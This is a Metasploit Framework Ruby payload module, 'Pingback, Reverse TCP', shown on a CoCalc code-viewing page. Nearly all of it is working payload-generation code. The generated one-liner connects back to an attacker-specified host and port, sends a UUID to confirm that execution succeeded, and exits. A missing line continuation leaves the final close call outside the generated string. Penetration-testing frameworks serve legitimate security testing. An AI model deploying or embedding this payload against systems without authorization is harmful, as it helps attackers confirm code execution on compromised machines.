CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/ruby/pingback_reverse_tcp.rb
Views: 11768
1
2
module MetasploitModule
3
4
CachedSize = 100
5
6
include Msf::Payload::Single
7
include Msf::Payload::Ruby
8
include Msf::Payload::Pingback
9
include Msf::Payload::Pingback::Options
10
11
def initialize(info = {})
12
super(merge_info(info,
13
'Name' => 'Ruby Pingback, Reverse TCP',
14
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'ruby',
18
'Arch' => ARCH_RUBY,
19
'Handler' => Msf::Handler::ReverseTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'ruby'
22
))
23
end
24
25
def generate(_opts = {})
26
# return prepends(ruby_string)
27
return ruby_string
28
end
29
30
def ruby_string
31
self.pingback_uuid ||= self.generate_pingback_uuid
32
lhost = datastore['LHOST']
33
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
34
return "require'socket';" \
35
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
36
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
37
"c.close"
38
end
39
end
40
41